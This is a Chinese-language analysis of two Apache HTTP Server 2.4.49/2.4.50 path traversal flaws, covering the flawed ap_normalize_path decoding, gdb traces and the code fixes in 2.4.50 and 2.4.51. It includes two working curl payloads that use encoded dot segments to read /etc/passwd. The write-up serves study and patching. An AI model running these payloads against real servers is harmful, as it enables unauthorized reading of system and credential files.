漏洞成因
Apache HTTP Server 2.4.49版本使用的ap_normalize_path函数在对路径参数进行规范化时会先进行url解码,然后判断是否存在…/的路径穿越符,如下所示:
while (path[l] != '\0') {
if ((flags & AP_NORMALIZE_DECODE_UNRESERVED)
&& path[l] == '%' && apr_isxdigit(path[l + 1])
&& apr_isxdigit(path[l + 2])) {
const char c = x2c(&path[l + 1]);
if (apr_isalnum(c) || (c && strchr("-._~", c))) {
/* Replace last char and fall through as the current
* read position */
l += 2;
path[l] = c;
}
}
......
if (w == 0 || IS_SLASH(path[w - 1])) {
/* Collapse / sequences to / */
if ((flags & AP_NORMALIZE_MERGE_SLASHES) && IS_SLASH(path[l])) {
do {
l++;
} while (IS_SLASH(path[l]));
continue;
}
if (path[l] == '.') {
/* Remove /./ segments */
if (IS_SLASH_OR_NUL(path[l + 1])) {
l++;
if (path[l]) {
l++;
}
continue;
}
/* Remove /xx/../ segments */
if (path[l + 1] == '.' && IS_SLASH_OR_NUL(path[l + 2])) {
/* Wind w back to remove the previous segment */
if (w > 1) {
do {
w--;
} while (w && !IS_SLASH(path[w - 1]));
}
else {
/* Already at root, ignore and return a failure
* if asked to.
*/
if (flags & AP_NORMALIZE_NOT_ABOVE_ROOT) {
ret = 0;
}
}
当检测到路径中存在%字符时,如果紧跟的2个字符是十六进制字符,就会进行url解码,将其转换成标准字符,如%2e->.,转换完成后会判断是否存在…/。
如果路径中存在%2e./形式,就会检测到,但是出现.%2e/这种形式时,就不会检测到,原因是在遍历到第一个.字符时,此时检测到后面的两个字符是%2而不是./,就不会把它当作路径穿越符处理,因此可以使用.%2e/或者%2e%2e绕过对路径穿越符的检测。
【网络安全学习资料·攻略】
漏洞触发&利用
payload如下:
curl -v --path-as-is http://your-ip:8080/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
漏洞修复
2.4.50版本对ap_normalize_path函数进行修改,补充了如下代码,对.%2e的绕过形式进行了判断,可以避免使用该方法绕过。
if ((path[n] == '.' || (decode_unreserved
&& path[n] == '%'
&& path[++n] == '2'
&& (path[++n] == 'e'
|| path[n] == 'E')))
&& IS_SLASH_OR_NUL(path[n + 1])) {
/* Wind w back to remove the previous segment */
if (w > 1) {
do {
w--;
} while (w && !IS_SLASH(path[w - 1]));
}
else {
/* Already at root, ignore and return a failure
* if asked to.
*/
if (flags & AP_NORMALIZE_NOT_ABOVE_ROOT) {
ret = 0;
}
}
/* Move l forward to the next segment */
l = n + 1;
if (path[l]) {
l++;
}
continue;
}
漏洞成因
Apache HTTP Server 2.4.50版本对CVE-2021-41773的修复可以避免一次url编码导致的路径穿越,但是由于在请求处理过程中,还会调用ap_unescape_url函数对参数再次进行解码,仍然会导致路径穿越。
在处理外部HTTP请求时,会调用 ap_process_request_internal函数对url路径进行处理,在该函数中,首先会调用ap_normalize_path函数进行一次url解码,之后会调用ap_unescape_url函数进行二次解码,代码如下:
/* This is the master logic for processing requests. Do NOT duplicate
* this logic elsewhere, or the security model will be broken by future
* API changes. Each phase must be individually optimized to pick up
* redundant/duplicate calls by subrequests, and redirects.
*/
AP_DECLARE(int) ap_process_request_internal(request_rec *r)
{
......
if (r->parsed_uri.path) {
/* Normalize: remove /./ and shrink /../ segments, plus
* decode unreserved chars (first time only to avoid
* double decoding after ap_unescape_url() below).
*/
if (!ap_normalize_path(r->parsed_uri.path,
normalize_flags |
AP_NORMALIZE_DECODE_UNRESERVED)) {
ap_log_rerror(APLOG_MARK, APLOG_ERR, 0, r, APLOGNO(10244)
"invalid URI path (%s)", r->unparsed_uri);
return HTTP_BAD_REQUEST;
}
}
......
/* Ignore URL unescaping for translated URIs already */
if (access_status != DONE && r->parsed_uri.path) {
core_dir_config *d = ap_get_core_module_config(r->per_dir_config);
if (d->allow_encoded_slashes) {
access_status = ap_unescape_url_keep2f(r->parsed_uri.path,
d->decode_encoded_slashes);
}
else {
access_status = ap_unescape_url(r->parsed_uri.path);
}
if (access_status) {
if (access_status == HTTP_NOT_FOUND) {
if (! d->allow_encoded_slashes) {
ap_log_rerror(APLOG_MARK, APLOG_INFO, 0, r, APLOGNO(00026)
"found %%2f (encoded '/') in URI path (%s), "
"returning 404", r->unparsed_uri);
}
}
return access_status;
}
ap_normalize_path函数调用栈如下,在处理前path参数为/icons/.%%32e/.%%32e/.%%32e/.%%32e/etc/passwd:
#0 ap_normalize_path (path=0x7f32740916a0 "/icons/.%%32e/.%%32e/.%%32e/.%%32e/etc/passwd", flags=flags@entry=14) at util.c:508
#1 0x000055b354ea81c5 in ap_process_request_internal (r=0x7f32740900a0) at request.c:209
#2 0x000055b354ec7980 in ap_process_async_request (r=0x7f32740900a0) at http_request.c:450
#3 0x000055b354ec3db3 in ap_process_http_async_connection (c=0x7f32740af360) at http_core.c:155
#4 ap_process_http_connection (c=0x7f32740af360) at http_core.c:246
#5 0x000055b354eba770 in ap_run_process_connection (c=c@entry=0x7f32740af360) at connection.c:42
#6 0x00007f3276a21a45 in process_socket (thd=<optimized out>, p=<optimized out>, sock=<optimized out>, cs=<optimized out>, my_child_num=<optimized out>, my_thread_num=<optimized out>)
at event.c:1052
#7 0x00007f3276a22322 in worker_thread (thd=0x7f3276a31128, dummy=<optimized out>) at event.c:2141
#8 0x00007f3276cbffa3 in start_thread (arg=<optimized out>) at pthread_create.c:486
#9 0x00007f3276bf04cf in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:95
经过ap_normalize_path函数处理后path参数变成/icons/.%2e/.%2e/.%2e/.%2e/etc/passwd。
ap_unescape_url函数实际会调用unescape_url函数,调用栈如下:
#0 unescape_url (url=0x7f32740916a0 "/icons/.%2e/.%2e/.%2e/.%2e/etc/passwd", forbid=forbid@entry=0x55b354ed2554 "/", reserved=reserved@entry=0x0) at util.c:1901
#1 0x000055b354e8ea3e in ap_unescape_url (url=<optimized out>) at util.c:1949
#2 0x000055b354ea83b5 in ap_process_request_internal (r=0x7f32740900a0) at request.c:250
#3 0x000055b354ec7980 in ap_process_async_request (r=0x7f32740900a0) at http_request.c:450
#4 0x000055b354ec3db3 in ap_process_http_async_connection (c=0x7f32740af360) at http_core.c:155
#5 ap_process_http_connection (c=0x7f32740af360) at http_core.c:246
#6 0x000055b354eba770 in ap_run_process_connection (c=c@entry=0x7f32740af360) at connection.c:42
#7 0x00007f3276a21a45 in process_socket (thd=<optimized out>, p=<optimized out>, sock=<optimized out>, cs=<optimized out>, my_child_num=<optimized out>, my_thread_num=<optimized out>)
at event.c:1052
#8 0x00007f3276a22322 in worker_thread (thd=0x7f3276a31128, dummy=<optimized out>) at event.c:2141
#9 0x00007f3276cbffa3 in start_thread (arg=<optimized out>) at pthread_create.c:486
#10 0x00007f3276bf04cf in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:95
经过unescape_url函数处理后,可以看到此时的url字符串内容变成/icons/…/…/…/…/etc/passwd:
(gdb) fin
Run till exit from #0 unescape_url (url=0x7f32740916a0 "/icons/.%2e/.%2e/.%2e/.%2e/etc/passwd", forbid=forbid@entry=0x55b354ed2554 "/", reserved=reserved@entry=0x0) at util.c:1901
0x000055b354ea83b5 in ap_process_request_internal (r=0x7f32740900a0) at request.c:250
250 request.c: No such file or directory.
Value returned is $1 = 0
(gdb) x/s 0x7f32740916a0
0x7f32740916a0: "/icons/../../../../etc/passwd"
漏洞触发&利用
payload如下:
curl -v --path-as-is http://your-ip:8080/icons/.%%32e/.%%32e/.%%32e/.%%32e/etc/passwd
漏洞修复
2.4.51版本针对该漏洞进行了多处修改,最核心的一处修改是在ap_normalize_path函数中加强了对url编码的校验,如果检测到存在非标准url编码(%+两个十六进制字符)的情况,就返回编码错误,从根本上杜绝了多重编码可能导致的绕过,修复代码如下:
while (path[l] != '\0') {
/* RFC-3986 section 2.3:
* For consistency, percent-encoded octets in the ranges of
* ALPHA (%41-%5A and %61-%7A), DIGIT (%30-%39), hyphen (%2D),
* period (%2E), underscore (%5F), or tilde (%7E) should [...]
* be decoded to their corresponding unreserved characters by
* URI normalizers.
*/
if (decode_unreserved && path[l] == '%') {
if (apr_isxdigit(path[l + 1]) && apr_isxdigit(path[l + 2])) {
const char c = x2c(&path[l + 1]);
if (TEST_CHAR(c, T_URI_UNRESERVED)) {
/* Replace last char and fall through as the current
* read position */
l += 2;
path[l] = c;
}
}
else {
/* Invalid encoding */
ret = 0;
}
}
最后